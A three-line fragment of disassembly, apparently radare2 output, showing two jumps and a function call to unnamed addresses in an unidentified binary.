jmp 0x41f256
call fcn.0045bbc0
jmp fcn.0041f0e0